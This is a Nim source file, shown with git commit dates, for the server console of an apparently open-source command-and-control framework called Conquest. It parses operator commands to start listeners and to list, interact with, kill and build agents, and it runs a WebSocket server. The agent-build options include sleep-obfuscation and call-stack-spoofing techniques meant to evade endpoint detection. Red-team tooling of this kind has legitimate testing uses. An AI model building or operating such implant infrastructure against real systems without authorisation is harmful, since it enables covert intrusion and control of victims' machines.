Files
conquest/src/server/core/server.nim

229 lines
7.2 KiB
Nim
Raw Normal View History

import prompt, terminal, argparse, parsetoml, times
import strutils, strformat, system, tables
2025-08-21 15:08:52 +02:00
import ./[agent, listener, builder]
import ../globals
2025-07-16 10:33:13 +02:00
import ../db/database
import ../core/logger
2025-08-21 15:08:52 +02:00
import ../../common/[types, crypto, profile]
import ../websocket/[receive, send]
import mummy, mummy/routers
2025-05-02 18:10:30 +02:00
2025-05-12 21:53:37 +02:00
#[
Argument parsing
]#
var parser = newParser:
help("Conquest Command & Control")
nohelpflag()
2025-05-12 21:53:37 +02:00
command("listener"):
help("Manage, start and stop listeners.")
command("list"):
help("List all active listeners.")
2025-05-12 21:53:37 +02:00
command("start"):
help("Starts a new HTTP listener.")
2025-06-02 21:14:13 +02:00
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
option("-p", "--port", help="Port to listen on.", required=true)
2025-05-12 21:53:37 +02:00
command("stop"):
help("Stop an active listener.")
option("-n", "--name", help="Name of the listener.", required=true)
2025-05-12 21:53:37 +02:00
command("agent"):
help("Manage, build and interact with agents.")
command("list"):
help("List all agents.")
option("-l", "--listener", help="Name of the listener.")
2025-05-12 21:53:37 +02:00
command("info"):
help("Display details for a specific agent.")
option("-n", "--name", help="Name of the agent.", required=true)
command("kill"):
help("Terminate the connection of an active listener and remove it from the interface.")
option("-n", "--name", help="Name of the agent.", required=true)
# flag("--self-delete", help="Remove agent executable from target system.")
2025-05-12 21:53:37 +02:00
command("interact"):
help("Interact with an active agent.")
option("-n", "--name", help="Name of the agent.", required=true)
command("build"):
help("Generate a new agent to connect to an active listener.")
option("-l", "--listener", help="Name of the listener.", required=true)
option("-s", "--sleep", help="Sleep delay in seconds.")
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
2025-05-12 21:53:37 +02:00
command("help"):
nohelpflag()
command("exit"):
nohelpflag()
2025-07-16 10:33:13 +02:00
proc handleConsoleCommand(cq: Conquest, args: string) =
2025-05-12 21:53:37 +02:00
# Return if no command (or just whitespace) is entered
if args.replace(" ", "").len == 0: return
2025-05-02 18:10:30 +02:00
cq.input(args)
2025-05-12 21:53:37 +02:00
try:
let opts = parser.parse(args.split(" ").filterIt(it.len > 0))
2025-05-12 21:53:37 +02:00
case opts.command
of "exit": # Exit program
echo "\n"
quit(0)
of "help": # Display help menu
cq.output(parser.help())
2025-05-12 21:53:37 +02:00
of "listener":
case opts.listener.get.command
of "list":
cq.listenerList()
of "start":
#cq.listenerStart(opts.listener.get.start.get.ip, opts.listener.get.start.get.port)
discard
2025-05-12 21:53:37 +02:00
of "stop":
#cq.listenerStop(opts.listener.get.stop.get.name)
discard
2025-05-12 21:53:37 +02:00
else:
cq.listenerUsage()
of "agent":
case opts.agent.get.command
of "list":
cq.agentList(opts.agent.get.list.get.listener)
of "info":
cq.agentInfo(opts.agent.get.info.get.name)
of "kill":
cq.agentKill(opts.agent.get.kill.get.name)
2025-05-12 21:53:37 +02:00
of "interact":
cq.agentInteract(opts.agent.get.interact.get.name)
of "build":
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.sleepmask, opts.agent.get.build.get.spoof_stack)
2025-05-12 21:53:37 +02:00
else:
cq.agentUsage()
# Handle help flag
except ShortCircuit as err:
if err.flag == "argparse_help":
2025-09-04 15:29:54 +02:00
cq.output(err.help)
2025-05-12 21:53:37 +02:00
# Handle invalid arguments
except CatchableError:
cq.error(getCurrentExceptionMsg())
2025-05-12 21:53:37 +02:00
cq.output()
2025-05-12 21:53:37 +02:00
2025-08-13 21:42:58 +02:00
proc header() =
echo ""
echo "┏┏┓┏┓┏┓┓┏┏┓┏╋"
echo "┗┗┛┛┗┗┫┗┻┗ ┛┗ V0.1"
echo " ┗ @jakobfriedl"
echo "".repeat(21)
echo ""
2025-07-16 10:33:13 +02:00
2025-08-13 19:32:51 +02:00
proc init*(T: type Conquest, profile: Profile): Conquest =
var cq = new Conquest
cq.prompt = Prompt.init()
cq.listeners = initTable[string, tuple[listener: Listener, thread: Thread[Listener]]]()
cq.agents = initTable[string, Agent]()
cq.interactAgent = nil
cq.profile = profile
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & profile.getString("private-key-file"))
cq.dbPath = CONQUEST_ROOT & "/" & profile.getString("database-file")
return cq
#[
WebSocket
]#
proc upgradeHandler(request: Request) =
{.cast(gcsafe).}:
let ws = request.upgradeToWebSocket()
cq.ws = ws
# Send client connection message
ws.sendEventlogItem(LOG_SUCCESS_SHORT, "CQ-V1")
proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.gcsafe.} =
{.cast(gcsafe).}:
case event:
of OpenEvent:
discard
of MessageEvent:
ws.sendHeartbeat()
case message.getMessageType():
of CLIENT_AGENT_COMMAND:
discard
of CLIENT_LISTENER_START:
message.receiveStartListener()
of CLIENT_LISTENER_STOP:
message.receiveStopListener()
of CLIENT_AGENT_BUILD:
discard
else: discard
of ErrorEvent:
discard
of CloseEvent:
discard
proc serve(server: Server) {.thread.} =
try:
server.serve(Port(12345))
except Exception:
discard
2025-08-13 21:42:58 +02:00
proc startServer*(profilePath: string) =
2025-08-13 19:32:51 +02:00
# Ensure that the conquest root directory was passed as a compile-time define
when not defined(CONQUEST_ROOT):
quit(0)
2025-05-12 21:53:37 +02:00
# Handle CTRL+C,
proc exit() {.noconv.} =
echo "Received CTRL+C. Type \"exit\" to close the application.\n"
setControlCHook(exit)
2025-08-13 21:42:58 +02:00
header()
2025-08-13 19:32:51 +02:00
try:
# Initialize framework context
2025-08-13 21:42:58 +02:00
# Load and parse profile
let profile = parseFile(profilePath)
2025-08-13 19:32:51 +02:00
cq = Conquest.init(profile)
cq.info("Using profile \"", profile.getString("name"), "\" (", profilePath ,").")
except CatchableError as err:
echo err.msg
quit(0)
2025-05-12 21:53:37 +02:00
# Initialize database
cq.dbInit()
cq.restartListeners()
cq.addMultiple(cq.dbGetAllAgents())
# Start websocket server
var router: Router
router.get("/*", upgradeHandler)
let server = newServer(router, websocketHandler)
var thread: Thread[Server]
createThread(thread, serve, server)
2025-05-12 21:53:37 +02:00
# Main loop
while true:
cq.prompt.setIndicator("[conquest]> ")
cq.prompt.setStatusBar(@[("[mode]", "manage"), ("[listeners]", $len(cq.listeners)), ("[agents]", $len(cq.agents))])
cq.prompt.showPrompt()
var command: string = cq.prompt.readLine()
cq.handleConsoleCommand(command)